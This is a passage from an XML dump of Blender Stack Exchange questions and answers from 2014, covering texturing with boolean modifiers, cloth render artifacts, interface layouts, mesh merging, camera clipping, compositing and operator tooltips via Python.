  <row Id="15695" PostTypeId="1" AcceptedAnswerId="15702" CreationDate="2014-09-09T13:11:12.107" Score="2" ViewCount="380" Body="&lt;p&gt;I want to ask you about the settings for a texture in an animation I'm making.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is just a cylinder going through a cube and making a hole in it. It is working with a boolean  modifier set in difference mode, but the hole gets the texture of the boolean and moves with the cylinder. I need the texture stay fixed when the cylinder moves. I have tried all the configurations and can't find a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!! &lt;/p&gt;&#xA;" OwnerUserId="5956" LastEditorUserId="241" LastEditDate="2014-09-09T14:28:03.807" LastActivityDate="2014-09-09T17:54:53.703" Title="Textures on animated boolean moves with object" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;materials&gt;&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15698" PostTypeId="1" AcceptedAnswerId="15739" CreationDate="2014-09-09T14:24:41.083" Score="3" ViewCount="3846" Body="&lt;p&gt;I have a bunch of stl files that I want to import into Blender. I wanted to animate them, for example one stl file in each frame so that overall it turns into an animation. I was wondering what the best way to do this is. I have a large number of stl files, so I'd prefer not to manually do it. Is there a script that exists to allow this?&lt;/p&gt;&#xA;" OwnerUserId="5958" LastActivityDate="2014-12-09T17:02:36.650" Title="Animate .stl files in Blender" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15699" PostTypeId="2" ParentId="15649" CreationDate="2014-09-09T15:40:55.063" Score="2" Body="&lt;p&gt;Automatically, no.  You might want to duplicate the scene with Linked objects.  Then have each scene render a different frame range which you determine manually.  You can then stitch the rendered frames together using yet another scene that uses the VSE (with no 3D objects) and Image Strips.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-09-09T15:40:55.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15702" PostTypeId="2" ParentId="15695" CreationDate="2014-09-09T17:28:11.293" Score="0" Body="&lt;p&gt;First start by making the texture &quot;stay fixed&quot; on the cylinder.  You can probably accomplish this by making a longer immobile cylinder which is then boolean intersected with a moving cube.  Then use that composite object to make the hole in the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31488&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31488&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sample blend illustrates this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans#Materials&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans#Materials&lt;/a&gt; documents that any new faces created in the process use the first material slot in the object hosting the modifier.  You will notice the cube has two materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will notice that I have hide_render=True (the camera icon is greyed out in the outliner) for the drill objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The immobile drill cylinder has a UV map I created by marking seams and unwrapping with a cylindrical projection.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-09-09T17:54:53.703" LastActivityDate="2014-09-09T17:54:53.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15703" PostTypeId="1" CreationDate="2014-09-09T17:52:51.347" Score="0" ViewCount="579" Body="&lt;p&gt;I am trying to transform blender interface my idea is to display only the 3d view, showing only the green area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uqFol.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove the main toolbar, timeline, outliner and properties panels&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my first question is, is that possible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is, can someone point me in the right direction =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghus&lt;/p&gt;&#xA;" OwnerUserId="5941" LastEditorUserId="241" LastEditDate="2014-09-09T17:56:43.353" LastActivityDate="2015-06-05T09:51:37.950" Title="custom layout (via scripting)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15704" PostTypeId="2" ParentId="15669" CreationDate="2014-09-09T17:58:13.677" Score="2" Body="&lt;p&gt;Here's a way to fake a glow in cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an object and give it an emission shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate the object and resize it so it's slightly larger than the original (this will become the glow)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g02QU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create and assign new material for the glow object with the following nodes: a &lt;strong&gt;transparent&lt;/strong&gt; material for the surface and &lt;strong&gt;Volume scatter&lt;/strong&gt; for volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sp1Rh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bygCc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-09T17:58:13.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15705" PostTypeId="2" ParentId="15703" CreationDate="2014-09-09T17:58:16.843" Score="0" Body="&lt;p&gt;Would it accomplish your mission to follow the instructions at &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/interface/window_system/arranging_frames.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/getting_started/basics/interface/window_system/arranging_frames.html&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="55" LastEditDate="2015-06-05T09:51:37.950" LastActivityDate="2015-06-05T09:51:37.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15706" PostTypeId="1" AcceptedAnswerId="15710" CreationDate="2014-09-09T18:01:56.680" Score="5" ViewCount="2989" Body="&lt;p&gt;I am having problem with a cycles render.  My cloth simulation for a flag bakes just fine and seems to work.  When I render the image gets fractured (it looks like broken glass instead of cloth).  See attached images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone said to post the blender file.  I can't figure out how to do that.&lt;br&gt;&#xA;OK, here is the link to the file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31495&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31495&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out which setting to change in the render settings to get rid of the &quot;z fighting&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZjJH5.png&quot; alt=&quot;this is the first rendered image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNX48.png&quot; alt=&quot;this is the second and all subsequent images are broken in this fashion&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5962" LastEditorUserId="599" LastEditDate="2014-09-09T23:36:49.917" LastActivityDate="2014-09-09T23:36:49.917" Title="Cloth simulation appears corrupt in render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15707" PostTypeId="2" ParentId="15703" CreationDate="2014-09-09T20:21:21.570" Score="3" Body="&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Up Arrow&lt;/kbd&gt; (Cursor up) while the mouse pointer is in the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wouldn't remove the main toolbar but is reversible by &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Down Arrow&lt;/kbd&gt; (Cursor Down). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get rid of the OS/Window-Manager decorations using Menu: Toggle Fullscreen &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F11&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you (probably) want is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pjeiA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select 3D View Full and drag the main menu away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From python you can select a manually prepared screen layout (save in the .blend) by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window.screen = bpy.data.screens['screen_name']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-12T10:48:17.103" LastActivityDate="2014-09-12T10:48:17.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15708" PostTypeId="2" ParentId="15669" CreationDate="2014-09-09T20:25:30.693" Score="5" Body="&lt;p&gt;Here's another option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plane and place it perpendicular to the camera and in front of it, that's going to act like a camera filter.&#xA;(I like using the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?300436-Scripts-Create-camera-image-plane&amp;amp;highlight=Create%20Camera%20Image%20Plane&quot; rel=&quot;noreferrer&quot;&gt;Create Camera Image Plane&lt;/a&gt; Addon to create a plane that always fills the frame and follows the camera using drivers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jBCCS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make the materials for the plane transparency and refraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BGYv5.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ireft.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-09T20:25:30.693" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15710" PostTypeId="2" ParentId="15706" CreationDate="2014-09-09T23:27:03.253" Score="7" Body="&lt;p&gt;This is because the cloth simulation is baked using the &lt;em&gt;viewport&lt;/em&gt; settings of the modifier(s) above it.&lt;br /&gt;&#xA;As the subserf modifier above it has a viewport subdivision level of 1, but a render subdivision level of 2, the vertex locations stored in the cache are nonsensical when rendering.&lt;/p&gt;&#xA;&lt;p&gt;To fix this, just set the render subserf value to 1:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHWMs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you still want to use two subserf levels, you have two options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-bake, with the viewport subdivisions set to 2&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another subserf modifier &lt;em&gt;below&lt;/em&gt; the cloth modifier. These subdivisions won't be taken into account with the simulation, but they will smooth the result out a little bit (though a smooth modifier could probably get you comparable results with a lot less vertices), and you won't have to rebake.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F84xn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-09T23:35:25.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15711" PostTypeId="2" ParentId="15669" CreationDate="2014-09-09T23:58:48.513" Score="11" Body="&lt;p&gt;You can use volumetrics and procedural gradient textures to create a glow effect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WjYNI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;The setup:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ooV7v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ooV7v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This works by defining two spherical gradients which are infinitely long (making them cylindrical), and using those to create the hard white part and the soft colorful bit.&lt;/p&gt;&#xA;&lt;p&gt;The gradients are defined in object coordinates, so they will stay with the object when it's animated. Note that because of this, the origin of your blade object will make a big difference. If it's centered it should be fine.&lt;/p&gt;&#xA;&lt;p&gt;A third gradient is used to fade the cylinder gradients out before they get to the tip of the blade object. This will have to be configured depending on the length of your object and the location of it's origin. It should look something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPG5L.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Provided that your origin is centered, all you should have to do is tweak the Z location value in the mapping node until the gradient is in the right place.&lt;/p&gt;&#xA;&lt;p&gt;Note that your blade object should be a bit fatter than you might make it normally, as it has to contain the glow. Also note that it doesn't actually have to be a cylinder, as the cylindrical shape is defined in the material nodes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/313/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=313&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-02T23:14:23.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15712" PostTypeId="1" AcceptedAnswerId="15713" CreationDate="2014-09-10T00:05:34.800" Score="10" ViewCount="36897" Body="&lt;p&gt;Learning Blender: so I have a cube mesh in edit mode. I duplicated its vertices and my mesh is technically two cubes now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rzz8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be redundant, but I would like to combine the two cubes to end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SyM5X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've searched for things like &quot;merge two meshes&quot; or &quot;combine vertices&quot;. In general, the posts I find are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use CTRL + J&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I feel this answers a different question. It just doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Select the vertices, then press X, and select dissolve.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Doesn't work - dissolve removes the geometry since these are two different meshes (and I think it is suppose to be used on a single mesh).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: No, I'm not trying to make a rectangular prism (I could simply translate the cube's face). It's just an example - I might want to do this with two spheres etc.&lt;/p&gt;&#xA;" OwnerUserId="5965" LastActivityDate="2018-08-25T21:30:42.627" Title="Merging two cube meshes" Tags="&lt;mesh&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15713" PostTypeId="2" ParentId="15712" CreationDate="2014-09-10T00:10:25.120" Score="11" Body="&lt;p&gt;There are many, many ways of going about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly the fastest for this particular case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Bridge edge loops&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edge select mode (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deselect edge ring (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&amp;#8998; Delete&lt;/kbd&gt;&lt;em&gt;&gt; Delete edge loops&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CmKhT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For two spheres you might do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/emi2I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-10T04:14:27.113" LastActivityDate="2014-09-10T04:14:27.113" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15714" PostTypeId="2" ParentId="15653" CreationDate="2014-09-10T00:35:19.030" Score="0" Body="&lt;p&gt;Solved my problem. The issue was the polyhedron. Looking at the normals after the polyhedron is created shows some pointing in and some pointing out. Correcting that (first by the UI and then by script) and everything worked fine.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2014-09-10T00:35:19.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15715" PostTypeId="1" AcceptedAnswerId="15717" CreationDate="2014-09-10T01:58:43.733" Score="4" ViewCount="1075" Body="&lt;p&gt;I changed the scale in blender so exporting to unity would be less of a hassle. I followed this tutorial to do it: &lt;a href=&quot;https://www.youtube.com/watch?v=ZnAb1w-Dmuc&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ZnAb1w-Dmuc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that after changing the scale, I cannot see anything through the camera. Even if I scale it up and point it directly in front of the model, nothing renders.&lt;/p&gt;&#xA;" OwnerUserId="5806" LastEditorDisplayName="user1853" LastEditDate="2014-09-12T06:44:16.163" LastActivityDate="2014-09-12T06:44:16.163" Title="Changing the units in blender breaks camera view" Tags="&lt;3d-view&gt;&lt;camera&gt;&lt;scene&gt;&lt;units&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15717" PostTypeId="2" ParentId="15715" CreationDate="2014-09-10T02:42:28.830" Score="5" Body="&lt;p&gt;Sounds like the &lt;em&gt;clipping distance&lt;/em&gt; is too small:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rBkG1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One meter is the default size of the spaces in the grid, and in this case isn't large enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enable &lt;em&gt;limits&lt;/em&gt; in &lt;em&gt;camera &gt; display&lt;/em&gt;, you can see a representation of the clipping distance in the 3D view, allowing you to see what might be wrong:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xQWT6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-10T02:42:28.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15718" PostTypeId="1" AcceptedAnswerId="15719" CreationDate="2014-09-10T05:41:05.617" Score="7" ViewCount="15235" Body="&lt;p&gt;My render image has a transparent background and when i save it as PNG RGBA every thing is OK. But when i want to save as JPEG format which doesn't support alpha transparency, save it as black backgroud at transparent areas.&#xA;How to save a render image as JPEG with white background instead of default black background at transparent areas?&#xA;Just like when i save the render image as PNG RGBA format and open it in GIMP and save as JPEG format which change transparent background to white.&#xA;Is anyway in blender without using Nodes?&lt;/p&gt;&#xA;" OwnerUserId="5967" LastActivityDate="2019-10-09T11:04:43.580" Title="How to save a render image as JPEG with white background instead of default black background at alpha transparent areas?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15719" PostTypeId="2" ParentId="15718" CreationDate="2014-09-10T06:25:36.397" Score="8" Body="&lt;p&gt;No, but it's quite simple to do with nodes..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;compositor&lt;/em&gt; (press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8592; Left arrow&lt;/kbd&gt;), enable &lt;em&gt;Use Nodes&lt;/em&gt; in the header and add an &lt;em&gt;alpha over&lt;/em&gt; node (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Color&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/egePw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color in the top slot is the color which will be used instead of transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now transparency will be automatically filled in with white (or whatever is in the top socket) when the scene is rendered.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-10T06:25:36.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15721" PostTypeId="2" ParentId="15693" CreationDate="2014-09-10T07:41:32.243" Score="0" Body="&lt;p&gt;I assume you have the operator's bl_idname at hand. Lets say your operator's bl_idname is &quot;avastar.shape_type_bone_hint&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# I assume you got the operator's bl_idname from somewhere.&#xA;&#xA;idname = &quot;avastar.shape_type_bone_hint&quot;&#xA;op = eval(&quot;bpy.ops.&quot;+idname)&#xA;idtype=getattr(bpy.types, op.idname())&#xA;&#xA;# Now you can get the operator's bl_* declarations as follows:&#xA;&#xA;bl_idname      = getattr(idtype,&quot;bl_idname&quot;,      None)&#xA;bl_label       = getattr(idtype,&quot;bl_label&quot;,       None)&#xA;bl_description = getattr(idtype,&quot;bl_description&quot;, None)&#xA;bl_options     = getattr(idtype,&quot;bl_options&quot;,     None)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am still unsure if this is exactly what you have asked for. but this will give you the operator's bl_description. However, maybe there is a more elegant way to get the idtype from the operator.&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-10T07:50:08.263" LastActivityDate="2014-09-10T07:50:08.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15722" PostTypeId="2" ParentId="15693" CreationDate="2014-09-10T08:09:27.383" Score="1" Body="&lt;p&gt;Tooltips appear to display the &lt;code&gt;__doc__&lt;/code&gt; string from the operator class. The simple operator template also hints that this is the tooltip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing in place to force an operator to have a &lt;code&gt;__doc__&lt;/code&gt; string so you may want to fall back to the &lt;code&gt;bl_label&lt;/code&gt; which must be defined. In the rare event that is an empty string I would fall back to the idname.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod, opname = idname.split(&quot;.&quot;)&#xA;idname_c = &quot;{!s}_OT_{!s}&quot;.format(mod.upper(), opname)&#xA;idtype = getattr(bpy.types, idname_c)&#xA;&#xA;if len(idtype.__doc__) &amp;gt; 0:&#xA;    description = idtype.__doc__&#xA;else:&#xA;    if len(idtype.bl_label) &amp;gt; 0:&#xA;        description = idtype.bl_label&#xA;    else:&#xA;        description = &quot; &quot;.join(opname.split(&quot;_&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-10T08:09:27.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15723" PostTypeId="1" CreationDate="2014-09-10T08:19:30.777" Score="1" ViewCount="539" Body="&lt;p&gt;In the scene with the objects of transparent such as clouds, water I see is not correct sorting on renedering, would like to see if you can somehow manually set the queue for rendering some objects?&lt;/p&gt;&#xA;" OwnerUserId="5968" LastActivityDate="2014-09-10T08:19:30.777" Title="How to set game render to draw objects in some order (queue)?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-12T06:33:03.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="15728" PostTypeId="1" AcceptedAnswerId="15732" CreationDate="2014-09-10T10:55:11.813" Score="5" ViewCount="2095" Body="&lt;p&gt;Let's say I start with the default Blender (2.64) file, except I set the cube to be 1 for all dimensions. At that point, the cube is at xyz location (0,0,0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, let's say I select the cube with right mouse button, and go to Object / Group / Create New Group, and confirm the name &quot;Group&quot; in the &quot;Create New Menu&quot; bar with [Enter]. The selection outline turns green, meaning it's a group &quot;master&quot; (as far as I can see).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's say I press Shift-A; and choose &quot;Group Instance&quot; &gt; &quot;Group&quot;, and set the new instance to Z=2.3; with all selected, the view looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9q1Wv.png&quot; alt=&quot;blender1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's say I deselect all with A, then select the group master with right-click; and let's say I move it to Y=-2; then the result is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XCLbD.png&quot; alt=&quot;blender2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... that is, it is noticeable that the group instance/clone &lt;em&gt;also&lt;/em&gt; moved in respect to its center (note the group instance axes, which remain in the set position)! Which means, I guess, that groups are defined in respect to the &lt;em&gt;global&lt;/em&gt; coordinate center (0,0,0) as anchor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is it possible to define a group, but in respect to the, say, bounding box center of the group as anchor - such that when I move/translate the group master, the group instances would remain anchored at their set position (basically, at the center of the group instance axes)? Also, is this documented anywhere in Blender documentation (I had problems finding this info)? &lt;/p&gt;&#xA;" OwnerUserId="5972" LastActivityDate="2014-09-10T12:57:31.957" Title="Local anchor for group master (move/translate/offset of group master moves group instances)?" Tags="&lt;groups&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15729" PostTypeId="1" CreationDate="2014-09-10T12:03:40.063" Score="13" ViewCount="5140" Body="&lt;p&gt;I was wondering - what options are there to include metadata, copyright information, and/or comments/notes in a .blend file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized late that in the main dropdown (where 3D view is), one can select &quot;Text Editor&quot;, and then do Text / Create Text Block (these are then shown under Outliner &gt; Datablocks / Texts). I'm guessing these are for scripts, but when I see, say &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Creating_Blender_Libraries&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Creating_Blender_Libraries&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;make visible upon loading one small text file which lists layers and objects&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  make your licensing expectations clear: artistic license, creative commons, etc.&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  sign your work, stable email address or website url if possible&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... I simply cannot see where else could I add this information, but in a &quot;text block&quot; as described above. The Outliner / Datablocks view looks like it might contain some metadata, but seemingly it is not editable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is - what is the preferred way to enter metadata (e.g. key/value combinations like author, license, date, etc), and to enter notes/comments in a .blend file?&lt;/p&gt;&#xA;" OwnerUserId="5972" 